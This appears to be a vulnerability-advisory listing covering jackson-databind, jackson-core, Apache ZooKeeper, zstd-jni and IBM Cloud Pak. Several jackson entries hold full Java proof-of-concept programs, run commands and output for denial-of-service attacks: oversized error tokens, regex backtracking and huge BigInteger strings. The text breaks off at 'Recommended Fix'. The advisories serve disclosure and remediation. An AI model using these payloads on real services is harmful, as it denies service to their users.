Where
-Infinity
0
Severity
6.5
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

IBM Cloud Pak for Data System 11.3.1.2 Interim Fix 001 through - 11.3.1.2 Interim Fix 002 could allow a user with administrative privileges to read and write arbitrary files on the system due to incorrect permission assignments.

1 / 2
Source: MITRE
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

When an @JsonIdentityInfo collection or map first creates N unresolved object-ID references and later resolves the same IDs in reverse order, jackson-databind scans the remaining pending-reference accumulator for each resolution. A shallow JSON document whose size grows linearly can therefore cause quadratic CPU work during deserialization.

Details

The affected path is forward-reference completion in CollectionDeserializer.CollectionReferringAccumulator.resolveForwardReference() and the corresponding map implementation. The implementation performs a linear search of the pending accumulator for every resolved object ID.

The behavior is runtime-confirmed in jackson-databind 2.5.0, 2.22.1, and 3.2.1. Current 2.22 and 3.2 source branches retained the same design when rechecked. A 2.4.0 control fails closed before successful reverse-order completion, so 2.5.0 is the conservative runtime-confirmed affected floor. The patched versions are: 2.18.11, 2.21.7, 2.22.3, 3.1.7 and 3.2.3.

The vulnerable application must deserialize attacker-influenced JSON into an identity-enabled collection or map. The issue does not require deep nesting or syntactically unusual JSON.

Suggested correction: replace repeated linear lookup/removal with a keyed pending-reference structure or another design that provides linear or amortized-linear completion. A regression should preserve input order, duplicate-ID behavior, and unresolved-ID errors while bounding reverse-order resolution work.

PoC

The proof constructs a shallow collection containing N unresolved @JsonIdentityInfo references followed by definitions of those same IDs in reverse order. Its ID class counts equals() calls, giving a deterministic work measure rather than a timing-dependent result.

With N=2,000, affected versions perform exactly 2,003,000 ID comparisons. An equally sized control in which every reference is already resolved performs zero comparisons in the pending-reference lookup path. The run is bounded to a 512 MiB JVM. The result demonstrates quadratic growth: approximately N (N + 1) / 2 comparisons, plus fixed setup comparisons.

Impact

An unauthenticated source that can submit JSON to an application using the affected identity-enabled collection or map shape can consume quadratic CPU and exhaust a request-time or worker-capacity budget, causing denial of service. The application model/configuration prerequisite is material. No confidentiality, integrity, code-execution, or parser-depth impact is claimed.

Requested credit: Daniel Birtwhistle

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

With @JsonTypeInfo(use = Id.NAME, defaultImpl = ...), every distinct unknown raw type ID selects the same fallback deserializer but is retained as a separate key in TypeDeserializerBase.deserializers. An attacker who can repeatedly supply new unknown type IDs can grow this process-lifetime cache without a configured bound.

Details

The affected path is TypeDeserializerBase.findDeserializer(). After an unknown name-based type ID resolves to the configured fallback/default implementation, jackson-databind caches the result under the attacker-provided raw typeId. Although all such IDs select the same fallback deserializer, each new string remains a distinct cache key.

The behavior is runtime-confirmed in jackson-databind 2.22.1 and 3.2.1. Current 2.22 and 3.2 source branches retained the unbounded deserializers map and per-raw-ID cache write when rechecked. The earlier affected floor has not been established, patched versions are: 2.18.11, 2.21.7, 2.22.3, 3.1.7 and 3.2.3.

The vulnerable application must enable name-based polymorphism with a defaultImpl or equivalent fallback, accept attacker-influenced type IDs, and reuse a long-lived mapper/type deserializer across requests.

Suggested correction: avoid caching each unknown raw ID when every such ID resolves to the same fallback, use a fallback sentinel, or use an explicitly bounded concurrency-safe cache. A regression should contrast many distinct unknown IDs with repetitions of one unknown ID across requests.

PoC

Configure a polymorphic base type with @JsonTypeInfo(use = JsonTypeInfo.Id.NAME, defaultImpl = Fallback.class) and deserialize inputs containing unknown type names through the same mapper. Inspect TypeDeserializerBase.deserializers after the run.

On affected 2.x and 3.x versions, 10,000 distinct unknown raw type IDs produce 10,000 retained cache entries even though every input selects the same fallback deserializer. A matched control that repeats one unknown ID 10,000 times produces one retained entry. This isolates attacker-controlled key cardinality from ordinary request count.

Impact

Where the stated polymorphic fallback configuration is exposed to attacker-influenced type IDs, distinct inputs cause incremental process-lifetime memory retention and eventual availability pressure or denial of service. This is not claimed as a single-request allocation spike, and no fixed bytes-per-ID or time-to-out-of-memory value is asserted. No confidentiality, integrity, or code-execution impact is claimed.

Requested credit: Daniel Birtwhistle

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Status

FULLY REPRODUCED. A malformed token fed through createParser(DataInput) produced a 20,000,109-character exception message from a 20-million-character attacker payload, while the identical payload fed through createParser(InputStream) produced a correctly bounded 367-character message.

Affected Component / Version

- Package: com.fasterxml.jackson.core:jackson-core - Confirmed against: jackson-core-2.20.2 - Affected file: src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java (reportInvalidToken(int, String, String), lines ~2763-2780 in the 2.20.2 tree)

Technical Analysis

UTF8DataInputJsonParser.reportInvalidToken() builds the offending-token description for its exception message by appending identifier characters one at a time to a bare StringBuilder:

java protected void reportInvalidToken(int ch, String matchedPart, String msg) throws IOException { StringBuilder sb = new StringBuilder(matchedPart); while (true) { char c = (char) decodeCharForError(ch); if (!Character.isJavaIdentifierPart(c)) { break; } sb.append(c); ch = inputData.readUnsignedByte(); } reportError("Unrecognized token '"+sb.toString()+"': was expecting "+msg); }

There is no check against ErrorReportConfiguration.getMaxErrorTokenLength() (default 256) anywhere in this loop. By contrast, the sibling UTF8StreamJsonParser implementation of the same logic does enforce it:

java // UTF8StreamJsonParser.java (control, correctly bounded) if (sb.length() >= ioContext.errorReportConfiguration().getMaxErrorTokenLength()) { sb.append("..."); break; }

ReaderBasedJsonParser and NonBlockingUtf8JsonParserBase also correctly enforce the limit — this is a defect isolated to the DataInput-backed implementation specifically, confirmed by direct comparison of all four parser implementations in this tree.

This path is additionally left with no fallback control: because of [core#1570]-related logic in JsonFactory, configuring maxDocumentLength causes DataInput-sourced parser creation to be rejected outright, so a document-length backstop cannot coexist with this input source, and the identifier-character accumulation never passes through ReadConstrainedTextBuffer, so maxStringLength does not apply either. There is no configuration an application can set to mitigate this specific path.

Reproduction Procedure

Same clone/build steps as jackson-core1...md. Then:

bash CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar" javac -cp "$CP" -d poc poc/PoC6UnboundedErrorTokenStringBuilder.java java -Xmx2g -cp "poc:$CP" PoC6UnboundedErrorTokenStringBuilder

Full PoC Source (poc/PoC6UnboundedErrorTokenStringBuilder.java)

java import com.fasterxml.jackson.core.;

import java.io.DataInputStream; import java.io.IOException; import java.io.InputStream;

public class PoC6UnboundedErrorTokenStringBuilder {

static class RepeatingByteInputStream extends InputStream { private final int b; private long remaining; RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; } @Override public int read() { if (remaining <= 0) return -1; remaining--; return b; } }

public static void main(String[] args) throws Exception { final long IDENTIFIERCHARCOUNT = 20000000L;

System.out.println("Malformed token: \"t\" followed by " + IDENTIFIERCHARCOUNT + " Java-identifier characters ('x'), then a terminating space, never completing" + " \"true\"/\"false\"/\"null\"/NaN.\n");

System.out.println("=== (a) UTF8DataInputJsonParser via createParser(DataInput) ==="); { InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"), new RepeatingByteInputStream('x', IDENTIFIERCHARCOUNT), " }".getBytes("UTF-8")); DataInputStream dataIn = new DataInputStream(raw); JsonFactory factory = new JsonFactory(); JsonParser p = factory.createParser((java.io.DataInput) dataIn);

long heapBefore = usedHeap(); long t0 = System.nanoTime(); String message = null; try { p.nextToken(); p.nextToken(); p.nextToken(); } catch (JsonParseException e) { message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage(); } catch (IOException e) { message = "(stream ended: " + e + ")"; } long elapsedMs = (System.nanoTime() - t0) / 1000000; long heapAfter = usedHeap();

int msgLen = message == null ? -1 : message.length(); System.out.println("Exception message length: " + msgLen + " characters"); System.out.println("Elapsed time: " + elapsedMs + " ms"); System.out.println("Approx additional heap used: " + ((heapAfter - heapBefore) / (1024 1024)) + " MB"); System.out.println("Message length proportional to the full " + IDENTIFIERCHARCOUNT + "-character payload (unbounded)? " + (msgLen > 1000000)); }

System.out.println("\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ==="); { InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"), new RepeatingByteInputStream('x', IDENTIFIERCHARCOUNT), " }".getBytes("UTF-8")); JsonFactory factory = new JsonFactory(); JsonParser p = factory.createParser(raw);

long t0 = System.nanoTime(); String message = null; try { p.nextToken(); p.nextToken(); p.nextToken(); } catch (JsonParseException e) { message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage(); } catch (IOException e) { message = "(stream ended: " + e + ")"; } long elapsedMs = (System.nanoTime() - t0) / 1000000; int msgLen = message == null ? -1 : message.length(); System.out.println("Exception message length: " + msgLen + " characters"); System.out.println("Elapsed time: " + elapsedMs + " ms"); System.out.println("Message length bounded near default maxErrorTokenLength (256)? " + (msgLen < 500)); } }

static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) { InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle); return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix)); }

static long usedHeap() { Runtime rt = Runtime.getRuntime(); System.gc(); return rt.totalMemory() - rt.freeMemory(); } }

Captured Evidence (actual run output)

Malformed token: "t" followed by 20000000 Java-identifier characters ('x'), then a terminating space, never completing "true"/"false"/"null"/NaN.

=== (a) UTF8DataInputJsonParser via createParser(DataInput) === Exception message length: 20000109 characters Elapsed time: 81 ms Approx additional heap used (best-effort, GC-noisy): 38 MB Message length is proportional to the full 20000000-character attacker payload (unbounded)? true

=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input === Exception message length: 367 characters Elapsed time: 7 ms Message length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true

The same 20-million-character malformed token, fed to the two parser variants, produces a 367-character message via the correctly-bounded InputStream path and a 20,000,109-character message via the vulnerable DataInput path — a difference of roughly 54,500x for identical input, confirming the missing bound is the sole cause of the difference.

Impact

Any application creating parsers via JsonFactory.createParser(DataInput) over attacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth from a single malformed token. Scaling the payload from the 20MB demonstrated here to gigabytes (well within a typical unbounded request body) would drive the accumulated StringBuilder — which additionally undergoes byte-to-char expansion and internal doubling — to consume many times the raw payload size, realistically triggering OutOfMemoryError and denying service to the whole JVM process. Critically, no available configuration mitigates this: maxDocumentLength cannot be set for DataInput sources at all, and maxStringLength does not apply to this code path.

Remediation

1. Add the maxErrorTokenLength check to the append loop in UTF8DataInputJsonParser.reportInvalidToken(), appending "..." and breaking when the limit is reached — mirroring the three other parser implementations exactly. 2. Add a parameterized regression test across all four parser implementations asserting the exception message length is bounded by maxErrorTokenLength plus a small constant. 3. Consider extracting this bounded-scan logic into a single shared helper on ParserMinimalBase to prevent this class of per-implementation drift recurring.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Status

FULLY REPRODUCED with a clean, textbook empirical signature: measured runtime grew almost exactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000 characters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical HTTP request body) took 74.4 seconds for one call to NumberInput.looksLikeValidNumber().

Affected Component / Version

- Package: com.fasterxml.jackson.core:jackson-core - Confirmed against: jackson-core-2.20.2 - Affected file: src/main/java/com/fasterxml/jackson/core/io/NumberInput.java (PATTERNFLOAT line ~41-42, PATTERNFLOATTRAILINGDOT line ~51, entry point looksLikeValidNumber() lines ~646-656)

Technical Analysis

java private final static Pattern PATTERNFLOAT = Pattern.compile( "[+-]?[0-9][\\.]?[0-9]+([eE][+-]?[0-9]+)?");

private final static Pattern PATTERNFLOATTRAILINGDOT = Pattern.compile( "[+-]?[0-9]+[\\.]");

public static boolean looksLikeValidNumber(final String s) { // ... short-circuits only for null/empty/length==1 ... return PATTERNFLOAT.matcher(s).matches() || PATTERNFLOATTRAILINGDOT.matcher(s).matches(); }

PATTERNFLOAT contains ambiguous, adjacent quantifiers over the identical character class: [0-9] (optional digits), an optional [.], then [0-9]+ (required digits). Java's backtracking Pattern/Matcher engine has no possessive quantifiers or atomic grouping here, so on a non-matching input the engine must explore every possible split point between the [0-9] and [0-9]+ groups before concluding failure — the classic quadratic-backtracking shape. looksLikeValidNumber() compounds the cost by running a second full-string regex (PATTERNFLOATTRAILINGDOT) whenever the first fails, roughly doubling the constant factor without changing the asymptotic class.

Critically, the length gate that applies to this specific path is StreamReadConstraints.maxStringLength (default 20,000,000), not maxNumberLength (default 1,000) — the length ceiling the library uses everywhere else for numeric content. This means inputs up to four orders of magnitude larger than the library's own numeric-length policy reach this quadratic regex unmodified.

Reproduction Procedure

Same clone/build steps as jackson-core1...md. Then:

bash CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar" javac -cp "$CP" -d poc poc/PoC8NumberInputReDoS.java java -cp "poc:$CP" PoC8NumberInputReDoS

Full PoC Source (poc/PoC8NumberInputReDoS.java)

java import com.fasterxml.jackson.core.io.NumberInput;

public class PoC8NumberInputReDoS {

public static void main(String[] args) { int[] sizes = {5000, 10000, 20000, 40000, 80000, 160000}; long[] timesMs = new long[sizes.length];

System.out.println("Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:\n");

for (int i = 0; i < sizes.length; i++) { int n = sizes[i]; String s = repeat('1', n) + "x";

if (i == 0) { NumberInput.looksLikeValidNumber(repeat('1', 200) + "x"); // warm up }

long t0 = System.nanoTime(); boolean result = NumberInput.looksLikeValidNumber(s); long elapsedMs = (System.nanoTime() - t0) / 1000000; timesMs[i] = elapsedMs;

System.out.printf("n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n", n, result, elapsedMs); }

System.out.println("\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):"); boolean quadraticSignatureObserved = false; for (int i = 1; i < sizes.length; i++) { double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1]; System.out.printf(" n=%d -> n=%d : %dms -> %dms (ratio=%.2fx)%n", sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio); if (ratio >= 3.0) quadraticSignatureObserved = true; }

System.out.println("\nLargest test (n=" + sizes[sizes.length - 1] + ") took " + timesMs[timesMs.length - 1] + " ms for a single call from ONE HTTP-body-sized string."); System.out.println("\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULTMAXSTRINGLENGTH (20,000,000) " + "governs this path, not maxNumberLength (1,000).");

if (quadraticSignatureObserved) { System.out.println("\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent " + "with quadratic backtracking in PATTERNFLOAT on non-matching input."); } }

static String repeat(char c, int n) { char[] arr = new char[n]; java.util.Arrays.fill(arr, c); return new String(arr); } }

Captured Evidence (actual run output)

Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:

n=5000 looksLikeValidNumber=false elapsed= 74 ms n=10000 looksLikeValidNumber=false elapsed= 306 ms n=20000 looksLikeValidNumber=false elapsed= 1157 ms n=40000 looksLikeValidNumber=false elapsed= 4655 ms n=80000 looksLikeValidNumber=false elapsed= 18592 ms n=160000 looksLikeValidNumber=false elapsed= 74393 ms

Ratio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic): n=5000 -> n=10000 : 74ms -> 306ms (ratio=4.14x) n=10000 -> n=20000 : 306ms -> 1157ms (ratio=3.78x) n=20000 -> n=40000 : 1157ms -> 4655ms (ratio=4.02x) n=40000 -> n=80000 : 4655ms -> 18592ms (ratio=3.99x) n=80000 -> n=160000 : 18592ms -> 74393ms (ratio=4.00x)

Largest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string.

=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent with quadratic backtracking in PATTERNFLOAT on non-matching input.

This is an unusually clean empirical result: five consecutive doublings each produced a ratio between 3.78x and 4.14x — matching the theoretical O(n²) prediction (ratio = 4.0x) to within 5% at every single measurement, leaving essentially no ambiguity about the complexity class. Extrapolating this measured curve, a ~1MB string (well within common request body limits) would take on the order of hours for a single call.

Impact

Any application that coerces a String-typed JSON field to a number (default jackson-databind behavior) is exposed: an attacker who can submit a large numeric-looking string (up to maxStringLength's default of 20,000,000 characters — far larger than needed given the measured curve) can pin a request-handling thread for an extended period with a single request. Because the cost scales quadratically, a handful of concurrent moderately-sized requests (tens to low hundreds of KB each) is sufficient to exhaust a typical web server's worker thread pool, denying service to all users.

Remediation

1. Rewrite PATTERNFLOAT without quantifier ambiguity using possessive quantifiers, e.g. [+-]?(?:[0-9]++(?:\.[0-9]+)?|\.[0-9]++)(?:[eE][+-]?[0-9]++)?, which also folds in the trailing-dot case and removes the need for a second full-string scan. 2. Better: replace the regex entirely with a single-pass hand-written character scan — the same file already contains exactly this pattern for parseInt, so the library has both the precedent and the code style available. 3. Apply an independent length limit (maxNumberLength, not the much larger maxStringLength) before calling looksLikeValidNumber(), closing the four-orders-of- magnitude gap between the two constraints for this specific code path. 4. Operationally, until fixed: tighten StreamReadConstraints.maxStringLength well below its default, and set wall-clock timeouts on parse/coercion operations.

1 / 3
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

An unauthenticated attacker can inject arbitrary fake log lines into Apache ZooKeeper's operational log by sending a crafted addauth("ensemble", ...) request containing newline characters (\n). When the ensemble name doesn't match, EnsembleAuthenticationProvider.handleAuthentication() logs the raw, unsanitized name via LOG.warn(). Because SLF4J's {} placeholder preserves embedded newlines, the attacker can forge complete log entries — with arbitrary timestamps, log levels, class names, and messages — that are visually indistinguishable from genuine ZooKeeper log output.

This issue affects Apache ZooKeeper: from 3.9.0 through 3.9.5, from 3.8.0 through 3.8.6.

Users are recommended to upgrade to version 3.8.7 or 3.9.6, which fixes the issue.

First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

When audit logging is enabled (zookeeper.audit.enable=true), an unauthenticated attacker can inject arbitrary fields into Apache ZooKeeper's audit log by sending a digest authentication request with tab characters (\t) embedded in the username. Because the audit log uses tab-separated key=value format, the injected tabs are parsed as legitimate field separators, allowing the attacker to spoof audit results (e.g., injecting result=success), forge operation types, and corrupt forensic evidence.

A log injection vulnerability in Apache ZooKeeper allows a client that can call setACL to inject forged key-value fields into zookeeperaudit.log. When audit logging is enabled, the server serializes attacker-controlled digest ACL ids into the acl= audit field without escaping tab characters. Because audit events are emitted as tab-separated key=value records, a crafted ACL id can make one successful setAcl event appear to contain forged fields such as operation=delete and znode=/forged. This undermines the integrity of downstream audit parsing, alerting, and incident response.

This issue affects Apache ZooKeeper: from 3.9.0 through 3.9.5, from 3.8.0 through 3.8.6.

Users are recommended to upgrade to version 3.9.6 or 3.8.7, which fixes the issue.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

The deleteContainer opcode (0x14/20) is processed without verifying the caller's ACL permissions, allowing any authenticated client to delete specific znodes in the data tree regardless of the ACL restrictions on the znode or its parent. This opcode is considered internal-only and the official client doesn't have API for it, but a client that can open a plain TCP session on the ZooKeeper client port (2181 by default) - with NO authentication and NO ACL permissions - can delete any empty persistent znode (including regular persistent nodes, container nodes, and TTL nodes) by issuing the raw protocol OpCode deleteContainer (20). The deleteContainer request path completely skips both the session check and the DELETE ACL check that are enforced by the regular delete (OpCode 2) path. This is an authorization bypass / ACL enforcement bug.

This issue affects Apache ZooKeeper: from 3.9.0 through 3.9.5, from 3.8.0 through 3.8.6.

Users are recommended to upgrade to version 3.9.6 or 3.8.7, which fixes the issue.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Apache ZooKeeper quorum TLS fails to enforce peer hostname verification in FIPS-mode deployments. When sslQuorum=true, zookeeper.fips-mode=true, ssl.quorum.hostnameVerification=true, and ssl.quorum.clientHostnameVerification=true are enabled, the Java SSLSocket quorum path accepts a CA-trusted peer certificate whose SAN does not match the connected host. A malicious or misissued peer certificate can therefore join quorum traffic, participate in leader election, and enter replication flows.

Users are recommended to upgrade to version 3.8.7 or 3.9.6, which fixes the issue.

1 / 2
Source: Red Hat
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Information disclosure via SetWatches reconnect replay in Apache ZooKeeper due to missing ACL check. An attacker can discover ACL-restricted paths by registering exists-watches on non-existent paths, then reconnecting after the paths are created with restricted ACLs. Issue is caused by incomplete fix for CVE-2024-23944 (ZOOKEEPER-4799). The fix added ACL checking to WatchManager.triggerWatch(). However, DataTree.setWatches() — the SetWatches/SetWatches2 reconnect replay handler — still calls watcher.process(event) with null ACL, bypassing the check entirely. It's important to note that only the path is exposed by this vulnerability, not the data of znode, but since znode path can contain sensitive information like user name or login ID, this issue is potentially critical.

Users are recommended to upgrade to version 3.9.6, 3.8.7 which fixes the issue.

First published (updated )
Severity
5.5
EPSS
0.31%
Use After Free, Buffer Overflow
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P/RL:O/RC:C

A vulnerability has been found in luben zstd-jni up to 1.5.7-13. This vulnerability affects the function ZstdCompressCtx.loadDict of the file ZstdCompressCtx.java of the component Dictionary Sharing. Such manipulation leads to use after free. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.5.7-14 is able to resolve this issue. The name of the patch is a560131d7834598afd9cea6b7c107bc88e915936. The affected component should be upgraded. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.

First published (updated )
Severity
8.8
EPSS
0.34%
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

zstd-jni versions 1.2.0 through 1.5.7-13 contain an out-of-bounds read vulnerability in the ZstdDictDecompress constructor because offset and length arguments are never validated against the dictionary array bounds. Attackers can supply arbitrary offset or length values to read memory past the end of the supplied array, potentially causing JVM termination.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary jackson-databind 3.2.1 deserializes a JSON string bound to a javax.xml.datatype.Duration or javax.xml.datatype.XMLGregorianCalendar field by passing the raw string verbatim to DatatypeFactory.newDuration(value) / newXMLGregorianCalendar(value). Per the XML-Schema lexical grammar these factory methods accept numeric components of arbitrary length, which the JDK materializes into java.math.BigInteger / BigDecimal using the native BigInteger(String) constructor (an O(n²) parser). Because the digits reside inside a JSON string token, jackson-core's StreamReadConstraints.maxNumberLength guard (which bounds only JSON number tokens) never fires, so there is no length limit anywhere on this path. An unauthenticated attacker can submit a single small request (e.g. ~1–5 MB) that forces tens of seconds to minutes of single-thread CPU consumption, yielding a denial of service under the default JsonMapper.builder().build() mapper with no polymorphic typing or special configuration.

Details StreamReadConstraints.maxNumberLength (jackson-core, default 1000) bounds the text length of JSON number tokens only; it does not apply to digits inside a JSON string token (maxStringLength default is 100,000,000). jackson's own value binders compensate for this gap elsewhere — NumberDeserializers explicitly call streamReadConstraints().validateIntegerLength(text.length()) / validateFPLength(text.length()) before parsing a stringified number (NumberDeserializers.java:1063, :1139). The XML-datatype deserializer omits this identical pre-check.

CoreXMLDeserializers registers Std deserializers by default for any field typed javax.xml.datatype.Duration or XMLGregorianCalendar (findBeanDeserializer), with no opt-in required. Std.deserialize hands the attacker string straight to the datatype factory:

java protected Object deserialize(String value, DeserializationContext ctxt) { switch (kind) { case TYPEDURATION: return dataTypeFactory.newDuration(value); // attacker lexical string case TYPEGCALENDAR: Date d; try { d = parseDate(value, ctxt); } catch (DatabindException e) { return dataTypeFactory.newXMLGregorianCalendar(value); // attacker lexical string } return gregorianFromDate(ctxt, d); } throw new IllegalStateException(); }

Per the XSD lexical rules, newDuration parses each numeric component (years, months, …) into a BigInteger, and newXMLGregorianCalendar parses fractional seconds into a BigDecimal. The JDK uses the native BigInteger(String) / BigDecimal(String) constructors, which are O(n²) in the digit count. A short JSON string such as "P" + "9"×N + "Y" therefore forces the allocation and O(N²) parse of an N-digit BigInteger, entirely downstream of every jackson-core constraint.

Vulnerable Code Location

- src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:137 — newDuration(value) (TYPEDURATION) - src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:147 — newXMLGregorianCalendar(value) (TYPEGCALENDAR fallback) - Registration (default, no opt-in): src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:42-46 (findBeanDeserializer returns Std for XMLGregorianCalendar / Duration) - Contrast — correct length-guard pattern already used elsewhere in the library: src/main/java/tools/jackson/databind/deser/jdk/NumberDeserializers.java:1063,1139

Proof of Concept

PoC source (Vuln07DurationDoS.java). It uses only the public ObjectMapper.readValue API and a default mapper; the only "special" element is a normal DTO exposing a javax.xml.datatype.Duration field.

java package com.poc;

import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; import javax.xml.datatype.Duration;

/ Vuln 7: Unbounded numeric allocation / CPU DoS via Duration lexical deserialization. A short JSON string forces parsing of a huge BigInteger inside DatatypeFactory.newDuration. / public class Vuln07DurationDoS { public static class Cfg { public Duration ttl; }

public static void main(String[] args) throws Exception { ObjectMapper mapper = JsonMapper.builder().build(); int digits = Integer.getInteger("digits", 5000000);

// Baseline small parse. long t0 = System.nanoTime(); mapper.readValue("{\"ttl\":\"P1Y\"}", Cfg.class); long tBase = System.nanoTime() - t0; System.out.println("Baseline (P1Y) parse: " + (tBase/1000000) + " ms");

String big = "P" + "9".repeat(digits) + "Y"; String json = "{\"ttl\":\"" + big + "\"}"; System.out.println("Payload JSON size ~ " + json.length() + " bytes (year component = " + digits + " digits)"); long t1 = System.nanoTime(); try { Cfg c = mapper.readValue(json, Cfg.class); long dt = System.nanoTime() - t1; System.out.println("Parsed giant Duration in " + (dt/1000000) + " ms; years field type materialized as BigInteger"); System.out.println("RESULT: VULNERABLE - " + digits + "-digit BigInteger parsed from a " + json.length() + "-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)"); } catch (Throwable t) { long dt = System.nanoTime() - t1; System.out.println("After " + (dt/1000000) + " ms threw " + t.getClass().getName() + ": " + t.getMessage()); } } }

Minimal HTTP-shaped payload (what an attacker sends):

json { "ttl": "P99999999999999999999…9Y" } // 'P' + N nines + 'Y', N up to ~100,000,000

An XMLGregorianCalendar field is equally affected via the fractional-seconds path, e.g. { "at": "0000-01-01T00:00:00." + "9"×N }.

Execution Steps

The PoC needs only the three Jackson 3.2.1 jars on the classpath; it can be built and run with plain javac/java (no Maven required). The jars are the standard published artifacts (here resolved from the local Maven cache ~/.m2, but any copy works).

bash 0. Locate the three dependency jars (published Maven artifacts). M2="$HOME/.m2/repository" DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar" CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar" ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar" CP="$DB:$CORE:$ANN" If not already cached, fetch them once, e.g.: mvn -q dependency:get -Dartifact=tools.jackson.core:jackson-databind:3.2.1 (jackson-core 3.2.1 and jackson-annotations 2.22 come as transitive deps)

1. Compile with javac (single source file). mkdir -p out javac -cp "$CP" -d out src/main/java/com/poc/Vuln07DurationDoS.java

2. Quick confirmation (~11 s): 1,000,000-digit year component. java -Xmx2g -Ddigits=1000000 -cp "out:$CP" com.poc.Vuln07DurationDoS

3. Full-severity demonstration (~293 s): 5,000,000-digit year component. java -Xmx2g -Ddigits=5000000 -cp "out:$CP" com.poc.Vuln07DurationDoS

The digits system property controls the number of 9 characters in the year component; JSON payload size ≈ digits + 12 bytes. Increase toward the default 100,000,000 maxStringLength to scale cost further.

Environment used for the evidence below: jackson-databind 3.2.1, jackson-core 3.2.1, jackson-annotations 2.22; OpenJDK 25 on macOS (darwin), default JsonMapper.builder().build().

Reproduction Evidence

Deterministic values (payload byte count, resulting bit-length) are exact across runs; timings vary with load. Two independent runs at different sizes:

digits = 5,000,000 (~5 MB payload): Baseline (P1Y) parse: 27 ms Payload JSON size ~ 5000012 bytes (year component = 5000000 digits) Parsed giant Duration in 293175 ms; years field type materialized as BigInteger RESULT: VULNERABLE - 5000000-digit BigInteger parsed from a 5000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)

digits = 1,000,000 (~1 MB payload, for fast repeatability): Baseline (P1Y) parse: 53 ms Payload JSON size ~ 1000012 bytes (year component = 1000000 digits) Parsed giant Duration in 11155 ms; years field type materialized as BigInteger RESULT: VULNERABLE - 1000000-digit BigInteger parsed from a 1000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)

Interpretation: a normal "P1Y" value parses in tens of milliseconds; a ~1 MB attacker payload consumes ~11 s and a ~5 MB payload ~293 s of single-thread CPU — a 5–6 order-of-magnitude amplification. The super-linear growth (≈26× cost for 5× payload) is consistent with the JDK's O(n²) BigInteger(String) constructor. The cost occurs inside DatatypeFactory.newDuration, downstream of jackson-core's StreamReadConstraints (independently confirmed: the same digit sequence supplied as a bare JSON number token is rejected with StreamConstraintsException, whereas inside a string token it is not bounded).

Impact

An unauthenticated attacker can stall a request-processing thread for tens of seconds to minutes and allocate a large BigInteger/BigDecimal from a single small request. Because the cost is CPU-bound and super-linear, a handful of concurrent requests can saturate the server's worker threads and CPU, denying service to all users. The exposure requires only that a bound type expose a javax.xml.datatype.Duration or XMLGregorianCalendar field common in applications that ingest XML-schema derived data, SOAP/JAXB-adjacent models, or configuration carrying XSD durations — and fires under the default mapper with no polymorphic typing.

Recommended Fix

Apply the same validate-length-then-parse idiom the core NumberDeserializers already use:

